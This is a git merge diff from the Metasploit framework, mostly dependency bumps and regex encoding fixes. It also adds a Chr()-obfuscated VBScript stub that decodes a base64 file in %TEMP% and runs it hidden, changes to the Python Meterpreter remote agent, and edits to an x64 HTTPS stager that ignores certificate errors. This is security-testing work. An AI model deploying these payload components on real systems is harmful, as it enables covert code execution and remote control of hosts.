Merge upstream
This commit is contained in:
commit
5fa0eb32a9
|
@ -3,10 +3,7 @@
|
|||
.idea
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# Portable ruby version files for rvm
|
||||
.ruby-gemset
|
||||
.ruby-version
|
||||
# RVM control file
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
.rvmrc
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
|
@ -16,7 +13,7 @@
|
|||
config/database.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
data/meterpreter/ext_server_pivot.dll
|
||||
data/meterpreter/ext_server_pivot.x86.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
metasploit-framework
|
|
@ -0,0 +1 @@
|
|||
1.9.3-p448
|
|
@ -15,4 +15,4 @@ notifications:
|
|||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
git:
|
||||
depth: 1
|
||||
depth: 5
|
||||
|
|
9
Gemfile
9
Gemfile
|
@ -1,4 +1,4 @@
|
|||
source 'http://rubygems.org'
|
||||
source 'https://rubygems.org'
|
||||
|
||||
# Need 3+ for ActiveSupport::Concern
|
||||
gem 'activesupport', '>= 3.0.0'
|
||||
|
@ -11,7 +11,7 @@ gem 'nokogiri'
|
|||
# Needed by anemone crawler
|
||||
gem 'robots'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
gem 'packetfu', '1.1.8'
|
||||
gem 'packetfu', '1.1.9'
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
|
@ -41,7 +41,7 @@ group :development, :test do
|
|||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
gem 'rake', '>= 10.0.0'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
@ -51,11 +51,10 @@ group :test do
|
|||
gem 'database_cleaner'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
# add matchers from shoulda, such as query_the_database, which is useful for
|
||||
# testing that the Msf::DBManager activation is respected.
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
|
|
68
Gemfile.lock
68
Gemfile.lock
|
@ -1,62 +1,58 @@
|
|||
GEM
|
||||
remote: http://rubygems.org/
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activemodel (3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.13)
|
||||
activemodel (= 3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activerecord (3.2.14)
|
||||
activemodel (= 3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.13)
|
||||
i18n (= 0.6.1)
|
||||
activesupport (3.2.14)
|
||||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
bourne (1.4.0)
|
||||
mocha (~> 0.13.2)
|
||||
builder (3.0.4)
|
||||
database_cleaner (0.9.1)
|
||||
diff-lcs (1.2.2)
|
||||
database_cleaner (1.1.1)
|
||||
diff-lcs (1.2.4)
|
||||
factory_girl (4.2.0)
|
||||
activesupport (>= 3.0.0)
|
||||
i18n (0.6.1)
|
||||
json (1.7.7)
|
||||
metaclass (0.0.1)
|
||||
i18n (0.6.5)
|
||||
json (1.8.0)
|
||||
metasploit_data_models (0.16.6)
|
||||
activerecord (>= 3.2.13)
|
||||
activesupport
|
||||
pg
|
||||
mocha (0.13.3)
|
||||
metaclass (~> 0.0.1)
|
||||
msgpack (0.5.4)
|
||||
mini_portile (0.5.1)
|
||||
msgpack (0.5.5)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.5.9)
|
||||
packetfu (1.1.8)
|
||||
nokogiri (1.6.0)
|
||||
mini_portile (~> 0.5.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.15.1)
|
||||
rake (10.0.4)
|
||||
redcarpet (2.2.2)
|
||||
pg (0.16.0)
|
||||
rake (10.1.0)
|
||||
redcarpet (3.0.0)
|
||||
robots (0.10.1)
|
||||
rspec (2.13.0)
|
||||
rspec-core (~> 2.13.0)
|
||||
rspec-expectations (~> 2.13.0)
|
||||
rspec-mocks (~> 2.13.0)
|
||||
rspec-core (2.13.1)
|
||||
rspec-expectations (2.13.0)
|
||||
rspec (2.14.1)
|
||||
rspec-core (~> 2.14.0)
|
||||
rspec-expectations (~> 2.14.0)
|
||||
rspec-mocks (~> 2.14.0)
|
||||
rspec-core (2.14.5)
|
||||
rspec-expectations (2.14.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.13.0)
|
||||
shoulda-matchers (1.5.2)
|
||||
rspec-mocks (2.14.3)
|
||||
shoulda-matchers (2.3.0)
|
||||
activesupport (>= 3.0.0)
|
||||
bourne (~> 1.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
timecop (0.6.1)
|
||||
timecop (0.6.3)
|
||||
tzinfo (0.3.37)
|
||||
yard (0.8.5.2)
|
||||
yard (0.8.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
@ -71,10 +67,10 @@ DEPENDENCIES
|
|||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
nokogiri
|
||||
packetfu (= 1.1.8)
|
||||
packetfu (= 1.1.9)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
rake
|
||||
rake (>= 10.0.0)
|
||||
redcarpet
|
||||
robots
|
||||
rspec (>= 2.12)
|
||||
|
|
4
HACKING
4
HACKING
|
@ -9,8 +9,8 @@ Code Style
|
|||
In order to maintain consistency and readability, we ask that you
|
||||
adhere to the following style guidelines:
|
||||
|
||||
- Hard tabs, not spaces
|
||||
- Try to keep your lines under 100 columns (assuming four-space tabs)
|
||||
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||
- do; end instead of {} for a block
|
||||
- Always use str[0,1] instead of str[0]
|
||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||
|
|
|
@ -0,0 +1,49 @@
|
|||
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
|
||||
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
|
||||
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
|
||||
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
|
||||
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
|
||||
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
|
||||
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
|
||||
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
|
||||
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
|
||||
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
|
||||
echo Set fs = CreateObject(scriptingFS) >>decode_stub
|
||||
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, nil) >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo emptyString >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_file_expand_path(request, response):
|
||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
if path_tlv == '%COMSPEC%':
|
||||
if platform.system() == 'Windows':
|
||||
result = 'cmd.exe'
|
||||
else:
|
||||
if has_windll:
|
||||
path_out = (ctypes.c_char * 4096)()
|
||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||
result = ''.join(path_out)[:path_out_len]
|
||||
elif path_tlv == '%COMSPEC%':
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
|
||||
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||
result = '/tmp'
|
||||
else:
|
||||
result = os.getenv(path_tlv)
|
||||
result = os.getenv(path_tlv, path_tlv)
|
||||
if not result:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_file_move(request, response):
|
||||
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.rename(oldname, newname)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_getwd(request, response):
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||
|
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
|
|||
m = hashlib.md5()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
|
|||
m = hashlib.sha1()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
|
|||
self.data_lock.acquire()
|
||||
self.data += byte
|
||||
self.data_lock.release()
|
||||
data = self.std.read()
|
||||
self.data_lock.acquire()
|
||||
self.data += self.std.read()
|
||||
self.data += data
|
||||
self.data_lock.release()
|
||||
|
||||
def is_read_ready(self):
|
||||
|
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
|
|||
|
||||
def run(self):
|
||||
while self.running:
|
||||
if len(select.select([self.socket], [], [], 0)[0]):
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
break
|
||||
|
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
|
|||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||
resp += tlv_pack(reqid_tlv)
|
||||
|
||||
if method_tlv['value'] in self.extension_functions:
|
||||
handler = self.extension_functions[method_tlv['value']]
|
||||
handler_name = method_tlv['value']
|
||||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
#print("[*] running method {0}".format(handler_name))
|
||||
result, resp = handler(request, resp)
|
||||
except Exception, err:
|
||||
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
else:
|
||||
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,8 @@
|
|||
aspnet_client/
|
||||
Autodiscover/
|
||||
ecp/
|
||||
EWS/
|
||||
Microsoft-Server-ActiveSync/
|
||||
OAB/
|
||||
PowerShell/
|
||||
Rpc/
|
|
@ -1,6 +1,7 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Rewritten for x64 by agix
|
||||
; Modified to account for memory alignment by rwincey
|
||||
; Compatible: Windows 7
|
||||
; Architecture: x64
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
@ -12,6 +13,7 @@
|
|||
|
||||
load_wininet:
|
||||
; setup the structures we need on the stack...
|
||||
push byte 0 ; alignment
|
||||
mov r14, 'wininet'
|
||||
push r14 ; Push the bytes 'wininet',0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
|
||||
|
@ -20,6 +22,7 @@ load_wininet:
|
|||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
internetopen:
|
||||
push byte 0 ; alignment
|
||||
push byte 0 ; NULL pointer
|
||||
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
|
||||
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
|
@ -74,6 +77,7 @@ retry:
|
|||
internetsetoption:
|
||||
mov rcx, rsi ; HINTERNET hInternet
|
||||
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push byte 0 ; alignment
|
||||
push qword 0x00003380
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
|
@ -90,6 +94,7 @@ httpsendrequest:
|
|||
xor rdx, rdx ; LPCTSTR lpszHeaders
|
||||
xor r8, r8 ; DWORD dwHeadersLength
|
||||
xor r9, r9 ; LPVOID lpOptional
|
||||
push rdx ; alignment
|
||||
push rdx ; DWORD dwOptionalLength
|
||||
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call rbp
|
||||
|
|
|
@ -776,10 +776,10 @@ class Disassembler
|
|||
def strings_scan(minlen=6)
|
||||
ret = []
|
||||
nexto = 0
|
||||
pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o|
|
||||
pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o|
|
||||
if o - nexto > 0
|
||||
next unless e = get_edata_at(o)
|
||||
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m]
|
||||
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm]
|
||||
ret << [o, str] if not block_given? or yield(o, str)
|
||||
nexto = o + str.length
|
||||
end
|
||||
|
|
|
@ -231,7 +231,7 @@ class HexWidget < DrawableWidget
|
|||
end
|
||||
if @show_ascii and d
|
||||
x = xa + d_o*@font_width
|
||||
d = d.gsub(/[^\x20-\x7e]/, '.')
|
||||
d = d.gsub(/[^\x20-\x7e]/n, '.')
|
||||
if wp.empty?
|
||||
render[d, :ascii]
|
||||
else
|
||||
|
@ -393,7 +393,7 @@ class HexWidget < DrawableWidget
|
|||
# pop a dialog, scans the sections for a hex pattern
|
||||
def prompt_search_hex
|
||||
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
|
||||
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" }
|
||||
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" }
|
||||
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
|
||||
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
|
||||
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }
|
||||
|
|
|
@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
|
|||
def initialize(rstream,opts={})
|
||||
super
|
||||
self.platform = 'x86/win32'
|
||||
self.binary_suffix = 'dll'
|
||||
self.binary_suffix = 'x86.dll'
|
||||
end
|
||||
|
||||
def lookup_error(code)
|
||||
|
|
|
@ -57,6 +57,8 @@ require 'msf/core/nop'
|
|||
require 'msf/core/payload'
|
||||
require 'msf/core/post'
|
||||
|
||||
# Custom HTTP Modules
|
||||
require 'msf/http/wordpress'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
|
|
@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
|
|||
next if @@credentials_skipped[fq_user]
|
||||
next if @@credentials_tried[fq_user] == p
|
||||
|
||||
datastore['USERNAME'] = u.to_s
|
||||
datastore['PASSWORD'] = p.to_s
|
||||
ret = block.call(u, p)
|
||||
|
||||
case ret
|
||||
|
|
|
@ -128,10 +128,10 @@ module Auxiliary::Login
|
|||
false
|
||||
end
|
||||
|
||||
def password_prompt?
|
||||
def password_prompt?(username=nil)
|
||||
return true if(@recvd =~ @password_regex)
|
||||
if datastore['USERNAME']
|
||||
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
|
||||
if username
|
||||
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
|
|
@ -59,7 +59,7 @@ def get_nmap_ver
|
|||
nmap_cmd = [self.nmap_bin]
|
||||
nmap_cmd << "--version"
|
||||
res << %x{#{nmap_cmd.join(" ")}} rescue nil
|
||||
res.gsub(/[\x0d\x0a]/,"")
|
||||
res.gsub(/[\x0d\x0a]/n,"")
|
||||
end
|
||||
|
||||
# Takes a version string in the form of Major.Minor and compares to
|
||||
|
@ -68,16 +68,16 @@ end
|
|||
# Comparing an Integer is okay, though.
|
||||
def nmap_version_at_least?(test_ver=nil)
|
||||
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
|
||||
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/]
|
||||
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n]
|
||||
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
|
||||
end
|
||||
test_ver_str = test_ver.to_s
|
||||
tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
||||
tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||
installed_ver = get_nmap_ver()
|
||||
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
|
||||
return false if (vtag.nil? || vtag.empty?)
|
||||
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag.
|
||||
inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
||||
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag.
|
||||
inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||
return true if inum_arr[0] > tnum_arr[0]
|
||||
return false if inum_arr[0] < tnum_arr[0]
|
||||
inum_arr[1].to_i >= tnum_arr[1].to_i
|
||||
|
@ -228,7 +228,7 @@ def nmap_validate_arg(str)
|
|||
return false
|
||||
end
|
||||
# Check for commas outside of quoted arguments
|
||||
quoted_22 = /\x22[^\x22]*\x22/
|
||||
quoted_22 = /\x22[^\x22]*\x22/n
|
||||
requoted_str = str.gsub(/'/,"\"")
|
||||
if requoted_str.split(quoted_22).join[/,/]
|
||||
print_error "Malformed nmap arguments (unquoted comma): #{str}"
|
||||
|
|
|
@ -358,7 +358,7 @@ class DBManager
|
|||
opts.each { |k,v|
|
||||
if (host.attribute_names.include?(k.to_s))
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||
end
|
||||
else
|
||||
dlog("Unknown attribute for ::Mdm::Host: #{k}")
|
||||
|
@ -481,7 +481,7 @@ class DBManager
|
|||
|
||||
if (host.attribute_names.include?(k.to_s))
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||
end
|
||||
else
|
||||
dlog("Unknown attribute for Host: #{k}")
|
||||
|
@ -1536,12 +1536,12 @@ class DBManager
|
|||
if (token[0])
|
||||
# convert the token to US-ASCII from UTF-8 to prevent an error
|
||||
token[0] = token[0].unpack("C*").pack("C*")
|
||||
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
end
|
||||
|
||||
if (token[1])
|
||||
token[1] = token[1].unpack("C*").pack("C*")
|
||||
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
end
|
||||
|
||||
ret = {}
|
||||
|
@ -2853,7 +2853,7 @@ class DBManager
|
|||
return REXML::Document.new(data)
|
||||
rescue REXML::ParseException => e
|
||||
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
|
||||
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
||||
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -3055,7 +3055,7 @@ class DBManager
|
|||
@import_filedata[:type] = "Appscan"
|
||||
return :appscan_xml
|
||||
when "entities"
|
||||
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i
|
||||
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni
|
||||
@import_filedata[:type] = "CI"
|
||||
return :ci_xml
|
||||
end
|
||||
|
@ -3342,8 +3342,8 @@ class DBManager
|
|||
def inspect_single_packet_http(pkt,wspace,task=nil)
|
||||
# First, check the server side (data from port 80).
|
||||
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/
|
||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/)
|
||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n
|
||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n)
|
||||
if http_server_match.kind_of?(MatchData) and http_server_match[1]
|
||||
report_service(
|
||||
:workspace => wspace,
|
||||
|
@ -3363,8 +3363,8 @@ class DBManager
|
|||
|
||||
# Next, check the client side (data to port 80)
|
||||
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/)
|
||||
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/)
|
||||
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n)
|
||||
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n)
|
||||
if auth_match.kind_of?(MatchData) and auth_match[1]
|
||||
b64_cred = auth_match[1]
|
||||
else
|
||||
|
@ -3476,7 +3476,7 @@ class DBManager
|
|||
data.each_line do |line|
|
||||
case line
|
||||
when /^[\s]*#/ # Comment lines
|
||||
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/]
|
||||
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n]
|
||||
addr = $1
|
||||
port = $2
|
||||
proto = $4
|
||||
|
@ -3492,7 +3492,7 @@ class DBManager
|
|||
user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
|
||||
pass = ""
|
||||
ptype = "smb_hash"
|
||||
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass
|
||||
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass
|
||||
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
|
||||
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
|
||||
ptype = "password"
|
||||
|
@ -3531,7 +3531,7 @@ class DBManager
|
|||
|
||||
# If hex notation is present, turn them into a character.
|
||||
def dehex(str)
|
||||
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/)
|
||||
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n)
|
||||
hexen.each { |h|
|
||||
str.gsub!(h,h[2,2].to_i(16).chr)
|
||||
}
|
||||
|
